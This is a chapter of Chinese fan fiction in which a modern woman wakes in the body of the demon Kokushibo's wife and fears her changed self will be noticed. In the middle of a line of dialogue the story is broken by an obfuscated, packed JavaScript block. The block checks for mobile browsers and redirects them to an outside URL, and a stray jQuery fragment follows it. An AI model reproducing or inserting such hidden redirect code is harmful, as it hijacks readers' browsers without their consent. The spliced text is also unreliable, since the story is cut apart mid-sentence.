29.第 29 章

作品:《作为上一的妻子

    无路可走的时候,就不断回到原点。


    ——《麒麟之翼》


    你穿越了。


    昨晚还在电脑上和论文较劲,眼一闭一睁,就成了日本十九世纪末期的吸血鬼。


    关于新身体的一切,都是身边的一个鬼告诉你的。


    他有一个听起来有点怪的名字,叫黑死牟。


    恢复意识的那天阳光很好,屋里虽然用帏幔挡得严严实实,金色的光芒还是透过窗棂上的缝隙,在地上划出一道锐利的线。


    黑死牟起身,放下竹帘重新遮好窗户,回过头就看到你昏头昏脑地从床榻上爬起,试图搞清楚眼前的状况。


    电脑呢?刚刚改好的格式,有没有点保存?


    欸,这是什么东西,绊我一下。袖子?不是,我的头发有这么长了吗?改天去剪剪……


    你伏倒在地上,双手胡乱地摸索,键盘、鼠标、手机……在哪里……现在几点了……直到一只手覆上来。


    宽大、粗糙、生着硬茧的男人的手。


    你抬起头来,像每次从漫长的梦境中醒来,在与现实相接的那一刻分不清虚幻的边界,所有的情绪游离在意识之外,以至于对眼前非人的六只眼睛懵懵懂懂。


    定定地看了好一会儿,你觉得有些头晕了,只好把眼睛闭上再睁开。


    还是一起望着你的六只眼睛,中间的那对稍有不同,你好奇地凑过去,看到上弦壱三个字的笔画正在细微地颤抖,额头还有从下巴延伸进脖颈的红色纹路似有生命般隐隐流动。


    如此掉san的场景,你应该吓得不轻才是,可是奇怪,你好像早已接受这一情况,只是觉得他凑这么近自己都站不起来了,就伸手推开了他。


    做完动作,你才呆呆地看着手,不明白自己刚刚干了什么。


    黑死牟没有生气,他好像也花了段时间才想起该干些什么,为照顾你一般般的夜视能力,找来蜡烛点了灯。


    烛光照亮了这间不大的和室,屋内的装潢直接让你沉默了。


    这什么情况?


    穿越并不是什么冷门的概念,但你的处境好像不止于此。


    黑死牟给你解释起来。


    听完他事无巨细的一系列描述,你在心里悄悄总结:这不就是吸血鬼?


    害怕阳光、要食用血肉,简直是吸血鬼本鬼,唯一的区别是克星从大蒜变成了紫藤花,算是日本特色吧。


    你偷偷在角落里蘸水画了一个十字,盯住它。很好,并没有什么奇怪的感觉,和《德古拉》还有其他吸血鬼小说、影视剧里的不一样。


    哪天再试试银子吧,不过黑死牟没有说,看来这日本特色吸血鬼并没有对特定金属的恐惧。


    你正想入非非,黑死牟停止了讲述。


    “怎么了?”你下意识反问。


    “没什么,”他别扭地转过头去,语气干巴巴的,“有事的话找我。”


    你想不出能有什么事。


    或许是疑惑从你的眼神中流露了出来,他马上补充道:“我是说饿了的话。”


    你跳了起来。


    你变成了食人血肉的吸血鬼。


    这是你穿越过来足足过去半天才反映过来的事。虽然还没有感到饿,你已经为“打猎”的事发起愁来。


    以前看过的相关作品不算少,哥特小说里原教旨主义的吸血鬼容貌可怖,身上长满长毛爬在墙壁上*,现代浪漫化了的吸血鬼举止优雅、彬彬有礼,像个贵族。无论哪一种,他们的强大都是毋庸置疑的。


    而你,你看看自己的胳膊腿,怀疑它们是不是真的有那种力量。


    你尝试着想象自己飞檐走壁,熟练地划开猎物的脖颈,或者用美貌诱惑人类吸食他们的血液……你一阵恶寒,瞬间清醒过来。


    “在做什么?”黑死牟问。


    “啊!没什么。”你放下水杯,飞快地把地上的十字抹掉了,“想事情呢,银子会不会……”


    你捂住嘴。怎么什么都往外说呀!还是先操心食物的事吧。


    意识到穿越发生,你第一时间向身边的人,也就是黑死牟要了一面镜子。里面是无比熟悉的,跟了你二十多年的原装脸。


    墨一样的乌发盖在淡蓝色的衣领上,瞳仁黑得深不见底,和记忆里的样貌没有任何区别。


    你使劲掐脸上的肉,疼痛感证实它如假包换。什么吸血鬼的魅惑、美貌,全都不存在的,颜值这碗饭,穿越了你也吃不上。非要说有什么提升的话,就是你无痛得到了一身冷白皮,新刷过的墙面一样的冷白皮。


    还是不死心,你转身想向他确认什么,却开不了口。黑死牟猜到了你心中所想,主动告诉了你和他的名字。


    果然,一模一样。虽然发音不同,但汉字一定还是那两个。那么,不需要问,生日肯定也是同一天了。


    这就是穿越的原因?平行时空的同位体?夺舍?


    很有可能,如果是重新投胎,应该会有从小到大的完整记忆,而不是回过神来就要面对这样的境况。


    你苦恼极了。


    在完全没有准备的情况下,你已经暴露出了记忆丧失的漏洞,这个叫黑死牟的人不可能看不出来。会发生这样的事,原主一定是出了意外,他或许有心理准备,能自己说服自己,可时间长了,谁会不知道发生什么呢?


    “我……”目光从镜子里移开,你低头瞅着身上的和服,打算说点什么打破僵局,半天组织不好语言。


    “黑死牟,我……”你再唤他,仍是哪哪儿都别扭。


    他耐心地看着你,主动介绍起目前的状况。你关于日本特色吸血鬼的知识由此而来。


    “还可以拟态?”你一下子兴奋起来,重新举起了镜子。


    就知道穿越一场不会没有福利,现在你自己就是女娲娘娘!来玩捏脸游戏吧!


    对着镜面,你想着自己长出了欧式大外双,鼻梁高一点、眼睛大一点、嘴小一点,太阳穴膨胀出去、下巴颏收回来……好累!


    而且好难,3D捏脸的难度系数比P图美颜高了不知多少,动一点都差好多,这里变了那边也得跟上,好不容易觉得差不多了,换个角度看简直惊悚,你修修补补、改来改去,揉揉脸变了回去。


    “我试试别的。”你宣布完,闭上眼睛感受着身体,慢慢调整,然后——


    黑死牟扶住了你:“想变什么,消耗这么大?”


    你哭丧着脸:“我想长到一米七。”


    你目测他有一米九多,一米七怎么也得到他下巴那里,可还没调到齐肩高,你就开始眩晕了。


    真是没用!


    黑死牟顿住。


    “你是真的很想长高啊。”他笑道。


    你抱住脑袋:“不要摸我头。”


    摸头长不高啊,不过你应该不会长高了。理想身高两辈子都没达到,太难过了。你扼腕叹息。


    像这样的知识,他一口气告诉了你好多。


    他还说,你是他的妻子……


    一天过去,你从噩梦中惊醒,喘息着爬起来,流了一身冷汗。黑死牟就在旁边,连忙轻拍着背给予安慰。


    “怎么了?”他问。


    你捂住胸口不说话,没有告诉他你梦见了他手持匕首捅穿了你的胸膛,声嘶力竭地说“是我搞错了”。


    这个梦境是如此真实,身体被剖开的感觉还在,那撕裂般的痛苦正在胸腔内缓慢地游走。你难受地拱起了背。


    “我没事,没事的。”


    怎么回事,他的手在你肋骨以下的位置游走,他的身体也靠过来,自然地贴住你的脊背……


    这不对劲,你想。你最怕自来熟了,尤其排斥还陌生时的肢体接触,每次升学新同桌挽住手都要起半身的鸡皮疙瘩,为什么这次才意识到这么近?


    你想起早上他伸过来的手,宽大的手掌轻松把你的包裹起来,那时也没有感到奇怪。


    是灵魂不适应身体才变得迟钝,还是说,这是原主的感情?


    是你的话,这么大块头,隔着五十米就要开始绕路了吧?


    你打了个寒噤,轻轻挣脱出他的怀抱。


    虽然不是出自本意,但占了人家的身体已经很过意不去了,连人家的丈夫都要占用的话,那也太超过了。


    你承受力非常、非常弱的,这绝对不行!


    面对你的拒绝,黑死牟表现得很有风度,他平静地躺回枕上,没有任何动作。


    你喘匀了气也躺回去,不动声色地拉开一点距离,两条被子之间出现了一道清晰的楚河汉界。


    可你依然睡不着,你知道,黑死牟也没有睡着,他的六只眼睛看起来都闭着,但你无来由地感觉到他的意识没有一丝疲倦,他无比清醒地假寐着,视线穿透了眼睑也穿透你的身体,看到最深深处。


    你打了个寒噤。


    记得他说过,鬼几乎不需要睡眠,你大概是刚穿过来不久,在人类作息规律的驱使下,到点就躺在了床上。可他呢,他为什么配合?这也是一个破绽吧?原主肯定不是每天都睡觉的。


    背对着他,你焦虑地绞起了手指。


    怎么办,怎么办?


    早上起了床,你一脸晦暗,黑死牟沉着冷静一如昨日,完全符合鬼不怎么需要睡的设定。


    长期这么下去,你觉得自己的精神一定会出毛病,话说,鬼也会得心理疾病吗?


    你战战兢兢地和他共处一室,如此过去好多天,终于鼓起勇气暗示:“你不觉得我变了,和从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096298|194774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前不一样了吗?”


    看过再多的穿越小说,看写手给出巧妙的理由,让无数龙傲天、凤傲天们顶着新身体、新身份活得风生水起,你也不会觉得一个人半路换了芯子,他/她身边的亲密之人会看不出来。


    何况这个人一看就很聪明、很能打。


    你有点害怕地瑟缩着,心里却不后悔。一开始铺垫好,日后找到机会说开,说不定就能一别两宽,总比翻车了被报复强吧?


    黑死牟注视着你,你心里开始打鼓。


    “没有,”他说,“你没有变过。”


    他说的是肺腑之言。百年来,他见过数不清的人在时间飞逝中面目全非,但那不包括你。你是如此的稳固又恒定,好像在出生前就是这个样子,之后也无需改变。


    只要接触到你,他久远、早已死去的一部分自我就会从躯体里复苏,重新流淌起汩汩热血。


    你感受到了他的真诚,内心更加混乱。


    “可是……”


    你的“可是”没有下文,他递过来一本书:“一直待在房间里,没有事情做,很无聊吧。”


    你接过来翻开看,是一部小说集,应该是最近新出版的。


    就……突然间有点感动是怎么回事?你是真的要无聊死了,可不敢提要求,这时有书看真的是救人于水火啊。


    你学电视上看来的日本人礼节鞠躬致谢:“ありがとう。”


    这流畅的口语,是原主的肌肉记忆吧。万幸,你没有语言障碍。


    “……”黑死牟道,“不客气。”


    他走后,你躺倒在榻榻米上,举着书翻起来。让你跪坐着,那是万万不能的。


    “黑死牟”,你像咀嚼着什么,轻声念了好几遍,用舌头盘顺每一个音节,习惯它的发声,然后翻到下一页。


    有了消遣,你的举止在不知不觉中随意了许多。注意力不会时时刻刻在另一个人身上,焦虑也随之缓解。


    有时,你快要忘记还有黑死牟这个人。初看只觉得此人压迫感很足,可这么多天相处下来,他的存在感快要降到和家具、盆栽差不多。即使面对面坐着,他也不会散发出强烈的感觉,自顾自地在棋盘前排兵布阵,几乎不发出声音。


    半天功夫,你习惯他就像习惯吃饭用筷子、喝水用杯子,如鱼在水中不觉有异。他表现得似乎也如此。


    这简直可怕。


    你又翻了一页纸。


    次日,屋里多了一把椅子,西洋风格的高足坐具,和日式小屋完全不搭,但它就是出现在那里了。


    你当然知道这是谁带来的。


    啊,更可怕了。


    你犹犹豫豫地坐上去,双腿得到解放顿感一阵轻松,于是你又飞快地习惯了,舒服地靠在椅背上。


    书很快看完,黑死牟带回第二本、第三本、第四本……


    你通通笑纳了,夸赞他品位不错。书一看就是精心挑过的,有小说、诗集、散文还有历史、百科方面,内容有趣,品类也多样,非常适合你这种口味很杂还挑剔的读者。


    黑死牟带回来的更多了,还有据说镇上时新的杂志、报纸,都花花绿绿的,一看就是女孩子会喜欢的那种。他怎么知道这些的,找别人问吗?


    你汗颜,没法光明正大地继续吃白食行为了,主动拿起扫帚要帮忙打扫屋子,但黑死牟雇佣了附近人家作佣人来负责家务。


    由俭入奢易,没几日你心安理得过上剥削阶级的美好生活,就像大学没课的时候,舒舒服服地做自己喜欢的事。


    看书的间隙,你也会好奇他不在跟前的时候做什么。刚开始,你不敢轻举妄动,他一连送了几天书,你觉得应该礼尚往来了,趁着天黑拉开帘子。


    窗外是传统的日式庭院,枯山水、松树、石灯笼,看不出时代特征。而且这些不是重点,重点是庭院中间的人。


    他在练剑。


    你的脸贴在玻璃上,屏住了呼吸。可这也没用,他马上发现了,迅速回身,收起了剑。


    隔着窗,你讪讪地一笑,赶紧把帘子拉回来,平复呼吸。


    你是一个标准的运动废,但有些东西不需要会才能看懂,动力学规则本身就具有美感,以肉身不断逼近它的极限,挥出完美的一击,即使没有任何知识储备也能感受到那种震撼。


    仅仅一秒的轻瞥,如同闯入了电影镜头,标准的偷窥视角。你心跳加速,脸都涨红了。


    黑死牟走进室内。


    “想看的话就出来吧。”他想说你很久都不出来走走了,可一见到你,这句话就掐灭了,只剩下半句邀请。


    你同手同脚走出去,后半夜什么也没看进去。直到东方微亮,他拉你进屋,才反映过来:今晚,你没有像人一样入睡。